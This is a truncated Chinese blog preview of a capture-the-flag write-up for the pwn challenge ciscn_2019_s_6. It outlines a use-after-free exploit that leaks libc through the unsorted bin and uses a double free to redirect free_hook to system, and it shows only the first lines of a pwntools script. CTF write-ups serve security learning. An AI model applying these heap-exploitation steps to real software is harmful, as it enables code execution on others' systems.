ciscn_2019_s_6(uaf)-CSDN博客

网站介绍:文章浏览阅读329次。ciscn_2019_s_6:保护全开漏洞分析:指针未清零,存在uaf大致步骤:利用unsortbin泄露libc,doublefree劫持free_hook为systemexp:from pwn import *local_file = './ciscn_s_6'local_libc = './libc-2.27.so'remote_libc = './libc-2.27.so'select = 1if select == 0: r = process(local__ciscn_2019_s_6